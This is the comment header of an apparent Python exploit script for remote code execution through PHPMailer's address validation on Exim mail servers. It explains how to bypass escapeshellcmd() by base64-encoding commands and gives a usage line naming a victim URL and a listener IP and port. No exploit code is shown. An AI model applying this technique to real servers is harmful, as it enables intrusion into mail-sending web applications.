# --------------------------------------------------------
# Enhanced for Exim MTA
#
# N.B:
# The original author's method in the PHPMailer POC (for sendmail MTA) uses the RFC 3696
# double quotes technique associated with the -oQ -X options to log mailer traffic and to create
# the backdoor. This technique is not facing some payload size issues because the payload
# was in the email body.
#
# For Exim:
# The original author's Wordpress 4.6 POC for Exim combines the comment syntax (RFC 822)
# and the Exim expansion mode techniques. The use of substr on spool_directory and tod_log
# expansion variables in order to bypass the PHP mail() escaping may leads to large
# email addresses payloads. However the comment syntax validateAddress() technique does not
# face any size limitation but its use can not be applied for PHPMailer < 5.2.20.
#
# Goal:
# The use of double quotes validateAdresse() technique (and it's patch bypass for PHPMailer < 5.5.20)
# combined with the Exim expansion mode technique may leads to large payloads quickly facing addresses
# size limit here (260 chars) and so not matching the pcre8 regexp in the validateAddress() function.
# We are now base64 encoding the command in order to bypass escapeshellcmd() and allowing larger payloads.
#
#
# Usage:
# ./rce_phpmailer_exim4.py -url http://victim/phpmailer/ -cf contact_form.php -ip 192.168.1.109 -p 1337
#
#
# Requirements:
# - Vulnerable PHP libraries
# - Exim MTA Agent
